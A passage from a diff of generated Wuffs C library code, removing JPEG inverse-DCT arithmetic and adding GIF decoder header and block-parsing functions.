v_cl73)); +- v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); +- v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); +- v_intermediate[2u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); +- v_intermediate[58u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); +- v_intermediate[10u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); +- v_intermediate[50u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); +- v_intermediate[18u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); +- v_intermediate[42u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); +- v_intermediate[26u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); +- v_intermediate[34u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_up_to_id_part1; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if ((self->private_impl.f_frame_config_io_position == 0u) || (self->private_impl.f_num_decoded_frame_configs_value > 0u)) { ++ self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); ++ } ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_block_type = t_0; ++ } ++ if (v_block_type == 33u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ status = wuffs_gif__decoder__decode_extension(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } else if (v_block_type == 44u) { ++ if (self->private_impl.f_delayed_num_decoded_frames) { ++ self->private_impl.f_delayed_num_decoded_frames = false; ++ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ status = wuffs_gif__decoder__decode_id_part0(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ break; ++ } else { ++ if (self->private_impl.f_delayed_num_decoded_frames) { ++ self->private_impl.f_delayed_num_decoded_frames = false; ++ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); ++ } ++ self->private_impl.f_call_sequence = 96u; ++ break; ++ } ++ } ++ ++ goto ok; ++ ok: ++ self->private_impl.p_decode_up_to_id_part1 = 0; ++ goto exit; + } +- if (0u == (self->private_data.f_mcu_blocks[0u][11u] | +- self->private_data.f_mcu_blocks[0u][19u] | +- self->private_data.f_mcu_blocks[0u][27u] | +- self->private_data.f_mcu_blocks[0u][35u] | +- self->private_data.f_mcu_blocks[0u][43u] | +- self->private_data.f_mcu_blocks[0u][51u] | +- self->private_data.f_mcu_blocks[0u][59u])) { +- v_intermediate[3u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][3u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][3u])))) << 2u)); +- v_intermediate[11u] = v_intermediate[3u]; +- v_intermediate[19u] = v_intermediate[3u]; +- v_intermediate[27u] = v_intermediate[3u]; +- v_intermediate[35u] = v_intermediate[3u]; +- v_intermediate[43u] = v_intermediate[3u]; +- v_intermediate[51u] = v_intermediate[3u]; +- v_intermediate[59u] = v_intermediate[3u]; +- } else { +- v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][19u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][19u])))); +- v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][51u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][51u])))); +- v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); +- v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); +- v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); +- v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][3u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][3u])))); +- v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][35u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][35u])))); +- v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); +- v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); +- v_cd0 = ((uint32_t)(v_ccp + v_cb2)); +- v_cd1 = ((uint32_t)(v_ccm + v_cb6)); +- v_cd2 = ((uint32_t)(v_ccm - v_cb6)); +- v_cd3 = ((uint32_t)(v_ccp - v_cb2)); +- v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][11u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][11u])))); +- v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][27u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][27u])))); +- v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][43u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][43u])))); +- v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][59u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][59u])))); +- v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); +- v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); +- v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); +- v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); +- v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); +- v_ck1 = ((uint32_t)(v_bq1 * 12299u)); +- v_ck3 = ((uint32_t)(v_bq3 * 25172u)); +- v_ck5 = ((uint32_t)(v_bq5 * 16819u)); +- v_ck7 = ((uint32_t)(v_bq7 * 2446u)); +- v_ci51 *= 4294964100u; +- v_ci53 *= 4294946301u; +- v_ci71 *= 4294959923u; +- v_ci73 *= 4294951227u; +- v_cl51 = ((uint32_t)(v_ci51 + v_cj)); +- v_cl73 = ((uint32_t)(v_ci73 + v_cj)); +- v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); +- v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); +- v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); +- v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); +- v_intermediate[3u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); +- v_intermediate[59u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); +- v_intermediate[11u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); +- v_intermediate[51u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); +- v_intermediate[19u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); +- v_intermediate[43u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); +- v_intermediate[27u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); +- v_intermediate[35u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_up_to_id_part1 = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- if (0u == (self->private_data.f_mcu_blocks[0u][12u] | +- self->private_data.f_mcu_blocks[0u][20u] | +- self->private_data.f_mcu_blocks[0u][28u] | +- self->private_data.f_mcu_blocks[0u][36u] | +- self->private_data.f_mcu_blocks[0u][44u] | +- self->private_data.f_mcu_blocks[0u][52u] | +- self->private_data.f_mcu_blocks[0u][60u])) { +- v_intermediate[4u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][4u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][4u])))) << 2u)); +- v_intermediate[12u] = v_intermediate[4u]; +- v_intermediate[20u] = v_intermediate[4u]; +- v_intermediate[28u] = v_intermediate[4u]; +- v_intermediate[36u] = v_intermediate[4u]; +- v_intermediate[44u] = v_intermediate[4u]; +- v_intermediate[52u] = v_intermediate[4u]; +- v_intermediate[60u] = v_intermediate[4u]; +- } else { +- v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][20u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][20u])))); +- v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][52u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][52u])))); +- v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); +- v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); +- v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); +- v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][4u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][4u])))); +- v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][36u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][36u])))); +- v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); +- v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); +- v_cd0 = ((uint32_t)(v_ccp + v_cb2)); +- v_cd1 = ((uint32_t)(v_ccm + v_cb6)); +- v_cd2 = ((uint32_t)(v_ccm - v_cb6)); +- v_cd3 = ((uint32_t)(v_ccp - v_cb2)); +- v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][12u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][12u])))); +- v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][28u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][28u])))); +- v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][44u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][44u])))); +- v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][60u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][60u])))); +- v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); +- v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); +- v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); +- v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); +- v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); +- v_ck1 = ((uint32_t)(v_bq1 * 12299u)); +- v_ck3 = ((uint32_t)(v_bq3 * 25172u)); +- v_ck5 = ((uint32_t)(v_bq5 * 16819u)); +- v_ck7 = ((uint32_t)(v_bq7 * 2446u)); +- v_ci51 *= 4294964100u; +- v_ci53 *= 4294946301u; +- v_ci71 *= 4294959923u; +- v_ci73 *= 4294951227u; +- v_cl51 = ((uint32_t)(v_ci51 + v_cj)); +- v_cl73 = ((uint32_t)(v_ci73 + v_cj)); +- v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); +- v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); +- v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); +- v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); +- v_intermediate[4u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); +- v_intermediate[60u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); +- v_intermediate[12u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); +- v_intermediate[52u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); +- v_intermediate[20u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); +- v_intermediate[44u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); +- v_intermediate[28u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); +- v_intermediate[36u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); ++ ++ return status; ++} ++ ++// -------- func gif.decoder.decode_header ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__decode_header( ++ wuffs_gif__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint64_t v_c48 = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; + } +- if (0u == (self->private_data.f_mcu_blocks[0u][13u] | +- self->private_data.f_mcu_blocks[0u][21u] | +- self->private_data.f_mcu_blocks[0u][29u] | +- self->private_data.f_mcu_blocks[0u][37u] | +- self->private_data.f_mcu_blocks[0u][45u] | +- self->private_data.f_mcu_blocks[0u][53u] | +- self->private_data.f_mcu_blocks[0u][61u])) { +- v_intermediate[5u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][5u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][5u])))) << 2u)); +- v_intermediate[13u] = v_intermediate[5u]; +- v_intermediate[21u] = v_intermediate[5u]; +- v_intermediate[29u] = v_intermediate[5u]; +- v_intermediate[37u] = v_intermediate[5u]; +- v_intermediate[45u] = v_intermediate[5u]; +- v_intermediate[53u] = v_intermediate[5u]; +- v_intermediate[61u] = v_intermediate[5u]; +- } else { +- v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][21u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][21u])))); +- v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][53u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][53u])))); +- v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); +- v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); +- v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); +- v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][5u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][5u])))); +- v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][37u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][37u])))); +- v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); +- v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); +- v_cd0 = ((uint32_t)(v_ccp + v_cb2)); +- v_cd1 = ((uint32_t)(v_ccm + v_cb6)); +- v_cd2 = ((uint32_t)(v_ccm - v_cb6)); +- v_cd3 = ((uint32_t)(v_ccp - v_cb2)); +- v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][13u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][13u])))); +- v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][29u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][29u])))); +- v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][45u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][45u])))); +- v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][61u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][61u])))); +- v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); +- v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); +- v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); +- v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); +- v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); +- v_ck1 = ((uint32_t)(v_bq1 * 12299u)); +- v_ck3 = ((uint32_t)(v_bq3 * 25172u)); +- v_ck5 = ((uint32_t)(v_bq5 * 16819u)); +- v_ck7 = ((uint32_t)(v_bq7 * 2446u)); +- v_ci51 *= 4294964100u; +- v_ci53 *= 4294946301u; +- v_ci71 *= 4294959923u; +- v_ci73 *= 4294951227u; +- v_cl51 = ((uint32_t)(v_ci51 + v_cj)); +- v_cl73 = ((uint32_t)(v_ci73 + v_cj)); +- v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); +- v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); +- v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); +- v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); +- v_intermediate[5u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); +- v_intermediate[61u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); +- v_intermediate[13u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); +- v_intermediate[53u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); +- v_intermediate[21u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); +- v_intermediate[45u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); +- v_intermediate[29u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); +- v_intermediate[37u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_header; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint64_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 6)) { ++ t_0 = ((uint64_t)(wuffs_base__peek_u48le__no_bounds_check(iop_a_src))); ++ iop_a_src += 6; ++ } else { ++ self->private_data.s_decode_header.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_header.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; ++ if (num_bits_0 == 40) { ++ t_0 = ((uint64_t)(*scratch)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)) << 56; ++ } ++ } ++ v_c48 = t_0; ++ } ++ if ((v_c48 != 106889795225927u) && (v_c48 != 106898385160519u)) { ++ status = wuffs_base__make_status(wuffs_gif__error__bad_header); ++ goto exit; ++ } ++ ++ goto ok; ++ ok: ++ self->private_impl.p_decode_header = 0; ++ goto exit; + } +- if (0u == (self->private_data.f_mcu_blocks[0u][14u] | +- self->private_data.f_mcu_blocks[0u][22u] | +- self->private_data.f_mcu_blocks[0u][30u] | +- self->private_data.f_mcu_blocks[0u][38u] | +- self->private_data.f_mcu_blocks[0u][46u] | +- self->private_data.f_mcu_blocks[0u][54u] | +- self->private_data.f_mcu_blocks[0u][62u])) { +- v_intermediate[6u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][6u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][6u])))) << 2u)); +- v_intermediate[14u] = v_intermediate[6u]; +- v_intermediate[22u] = v_intermediate[6u]; +- v_intermediate[30u] = v_intermediate[6u]; +- v_intermediate[38u] = v_intermediate[6u]; +- v_intermediate[46u] = v_intermediate[6u]; +- v_intermediate[54u] = v_intermediate[6u]; +- v_intermediate[62u] = v_intermediate[6u]; +- } else { +- v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][22u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][22u])))); +- v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][54u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][54u])))); +- v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); +- v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); +- v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); +- v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][6u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][6u])))); +- v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][38u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][38u])))); +- v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); +- v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); +- v_cd0 = ((uint32_t)(v_ccp + v_cb2)); +- v_cd1 = ((uint32_t)(v_ccm + v_cb6)); +- v_cd2 = ((uint32_t)(v_ccm - v_cb6)); +- v_cd3 = ((uint32_t)(v_ccp - v_cb2)); +- v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][14u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][14u])))); +- v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][30u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][30u])))); +- v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][46u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][46u])))); +- v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][62u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][62u])))); +- v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); +- v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); +- v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); +- v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); +- v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); +- v_ck1 = ((uint32_t)(v_bq1 * 12299u)); +- v_ck3 = ((uint32_t)(v_bq3 * 25172u)); +- v_ck5 = ((uint32_t)(v_bq5 * 16819u)); +- v_ck7 = ((uint32_t)(v_bq7 * 2446u)); +- v_ci51 *= 4294964100u; +- v_ci53 *= 4294946301u; +- v_ci71 *= 4294959923u; +- v_ci73 *= 4294951227u; +- v_cl51 = ((uint32_t)(v_ci51 + v_cj)); +- v_cl73 = ((uint32_t)(v_ci73 + v_cj)); +- v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); +- v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); +- v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); +- v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); +- v_intermediate[6u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); +- v_intermediate[62u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); +- v_intermediate[14u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); +- v_intermediate[54u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); +- v_intermediate[22u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); +- v_intermediate[46u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); +- v_intermediate[30u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); +- v_intermediate[38u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_header = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- if (0u == (self->private_data.f_mcu_blocks[0u][15u] | +- self->private_data.f_mcu_blocks[0u][23u] | +- self->private_data.f_mcu_blocks[0u][31u] | +- self->private_data.f_mcu_blocks[0u][39u] | +- self->private_data.f_mcu_blocks[0u][47u] | +- self->private_data.f_mcu_blocks[0u][55u] | +- self->private_data.f_mcu_blocks[0u][63u])) { +- v_intermediate[7u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][7u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][7u])))) << 2u)); +- v_intermediate[15u] = v_intermediate[7u]; +- v_intermediate[23u] = v_intermediate[7u]; +- v_intermediate[31u] = v_intermediate[7u]; +- v_intermediate[39u] = v_intermediate[7u]; +- v_intermediate[47u] = v_intermediate[7u]; +- v_intermediate[55u] = v_intermediate[7u]; +- v_intermediate[63u] = v_intermediate[7u]; +- } else { +- v_bq2 = 